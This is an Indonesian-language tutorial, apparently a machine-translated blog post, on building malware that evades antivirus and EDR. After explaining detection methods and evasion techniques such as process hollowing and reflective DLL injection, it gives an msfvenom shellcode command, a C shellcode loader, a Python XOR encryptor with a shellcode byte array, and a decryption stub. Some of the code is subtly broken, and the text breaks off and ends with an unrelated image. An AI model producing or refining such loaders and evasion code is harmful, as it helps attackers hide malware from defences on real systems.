Penghindaran AV/EDR | Pengembangan Malware
Halo, Pernahkah Anda berpikir sebelumnya bagaimana peretas dapat Menghindari Solusi Anti-Virus !, Kami akan membangun bersama malware dasar pertama Anda yang dapat menghindari AV dan Memahami beberapa dasar.
Untuk membangun malware kami, kami perlu memahami beberapa dasar seperti:
1 — Apa itu Analisis Malware langkah
2 — Bagaimana AV atau Anti-Virus Mendeteksi Program atau Kode Berbahaya
3 — Apa itu Teknik Evasion AV (On-Desk — Dalam Memori)
4 — Ayo Tulis Malware kita di “C” — Waktu Praktis
Apa itu langkah-langkah analisis malware?
1 — Analisis Statis → Pada dasarnya tanpa kerumitan apa pun, ini adalah langkah kita mulai menganalisis malware atau program tanpa membukanya, Kami mencari banyak hal di malware dalam langkah analisis statis seperti (Header PE, String, Informasi File).
2 — Analisis Dinamis → Sekarang kami dapat mengatakan bahwa ini adalah proses kami menganalisis malware setelah menjalankan malware, Kami mencari banyak hal seperti "Perubahan sistem" dan kami "Memantau Perilaku" untuk melihat apa yang dilakukan malware.
Catatan: Ada 4 langkah setelah ada (Analisis Statis — Analisis Dinamis — Analisis Statis Lanjutan — Analisis Dinamis Lanjutan) Tapi Anda bisa mencari :)
Sekarang kita akan berbicara tentang bagaimana AV Detect Malwares.
Anti-Virus Memiliki 3 langkah utama untuk mendeteksi malware:
1 — Deteksi berbasis tanda tangan → Teknik ini melibatkan pembandingan file dan lalu lintas jaringan ke database tanda tangan malware yang diketahui. Jika ditemukan kecocokan, file atau lalu lintas akan ditandai sebagai berpotensi berbahaya.
2 — Deteksi berbasis heuristik → Teknik ini melibatkan penggunaan pembelajaran mesin dan kecerdasan buatan untuk menganalisis perilaku file dan lalu lintas jaringan. Jika file atau lalu lintas menunjukkan perilaku yang mencurigakan, itu mungkin ditandai sebagai berpotensi berbahaya, Anda juga dapat mengatakan bahwa teknik ini adalah membaca instruksi kode.
3 — Deteksi berbasis perilaku → Teknik ini melibatkan analisis perilaku file dan lalu lintas jaringan dari waktu ke waktu untuk mengidentifikasi pola aktivitas berbahaya. Jika file atau lalu lintas menunjukkan perilaku yang sangat berbeda dari yang diharapkan, itu mungkin ditandai sebagai berpotensi berbahaya.
Teknik Evasion AV :
Kami memiliki 2 topik utama (on desk — In memory) seperti :
(1) Di Meja:
- Pengemas → Mengemas malware seperti mengompresi file agar berisi instruksi baru dan ukuran file yang akan Menghindari “Deteksi berbasis tanda tangan”
- Obfuscator → Ini mengaburkan fungsi yang masuk daftar hitam misalnya (VirtualAlloc — VirtualProtect, dan banyak lagi…) yang akan menghindari "Deteksi Heuristik" sehingga instruksinya tidak dapat dibaca dengan baik dari AV Solution
- Pelindung → Yang memperumit proses rekayasa balik malware, The Protectors adalah aplikasi normal yang tidak dirancang untuk digunakan di Evasion tetapi berguna
Injeksi Memori Proses Jarak Jauh: Kami Menyuntikkan Proses atau Muatan Kami Ke Proses Normal, untuk menggunakan teknik ini kami memerlukan beberapa API seperti:
Injeksi DLL Reflektif : Teknik injeksi yang memungkinkan DLL dimuat ke dalam memori proses tanpa memanggil API Windows standar untuk memuat DLL. Ini dapat berguna dalam situasi di mana metode injeksi DLL tradisional tidak dimungkinkan karena pembatasan atau tindakan keamanan. Reflektif DLL Injection bekerja dengan menggunakan teknik yang dikenal sebagai pemetaan manual. Ide dasarnya adalah memetakan DLL ke dalam memori dan menjalankannya secara langsung, tanpa menggunakan panggilan Windows API standar. Ini memungkinkan DLL berjalan tanpa memicu peringatan keamanan atau terdeteksi oleh perangkat lunak anti-virus.
Proses Lekukan: Kami Membuat Proses Palsu Yang Mengambil Ruang Kemudian Kami Menghentikannya Dan Mengubah Isinya Ke Payload Kami Dan Kami Melanjutkan Proses Lagi Dengan Instruksi & Konten Barunya
Inline Hooking : adalah teknik yang melibatkan modifikasi kode suatu proses saat sedang berjalan di memori. Ini dilakukan dengan mengalihkan panggilan fungsi dari kode asli ke lokasi berbeda di memori.
Ada lebih banyak teknik tetapi ini adalah teknik terkenal yang digunakan.
Menulis Malware dasar.
Di malware apa pun, kami mengutamakan kode shell, jadi apa kode shellnya!? → ini adalah beberapa byte yang dapat dipahami oleh CPU & RAM, Kode shell berisi proses yang Anda inginkan dan untuk membuatnya Anda dapat membuka Terminal dan Ketik…
msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -i 10 -f c
Jadi Bagaimana cara memasukkannya ke dalam kode c kita?, Dengan mudah Anda akan memasukkannya ke dalam variabel seperti ini:
unsigned char shellcode[] = {"Put here your shellcode"};
unsigned int shellcode_len = sizeof(shellcode); // To get the size of the shellcode
void main() /* The Main Function */
{
void* exec_mem; // Memory Buffer For Payload/Shellcode
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, shellcode_len , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Allocate a memory buffer for payload */
RtlMoveMemory(exec_mem, shellcode, shellcode_len); /* Copy/Move payload to buffer or Memory */
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Terdeteksi Benar!
Mengaburkan & Mengenkripsi Malware agar Tidak Terdeteksi.
Jadi, jika Anda menulis kode yang saya sebutkan sebelumnya dan jika Anda mencoba Runit, itu akan memberi tahu Anda bahwa itu adalah virus! jadi apa yang akan kita lakukan?
Hal pertama yang berbahaya adalah kodenya adalah "shellcode" jadi kita perlu mengenkripsi dan mengaburkannya agar tidak dapat dipahami dari AV Solutions jadi kita perlu mengenkripsinya, TAPI BAGAIMANA!?
Mari kita membuat skrip python kecil yang mengenkripsi kode shell dan membuat hasilnya dalam format C.
# Put your shellcode in data variable.
data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
key = 0x50 # Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more...
print('{ ', end='')
for i in data:
print(hex(i ^ key), end=', ')
print("0x0 };") # Notice that it adds one byte "0x0" to the end.
Jadi, Sekarang Anda dapat mengubah kode shell Anda menjadi seperti ini
unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };
Jadi kita perlu menambahkan fungsi dekripsi akan menjadi seperti ini:
/* The Decryption Function */
void decrypt(char* shell, int nSize)
{
for (int i = 0; i < nSize; i++)
{
shell[i] = shell[i] ^ KEY;
}
}
#define SIZEOF(x) sizeof(x) - 1
#define KEY 0x50
unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };
unsigned int shellcode_len = SIZEOF(shellcode);
decrypt(shellcode, shellcode_len);
1 — VirtualAlloc
2 — CreateThread
3 — RtlMoveMemory
Fungsi-fungsi ini masuk daftar hitam ke Anti-Virus dan kita harus mengaburkannya! tapi kami akan menambahkan banyak hal.

![Apa itu Linked List? [Bagian 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































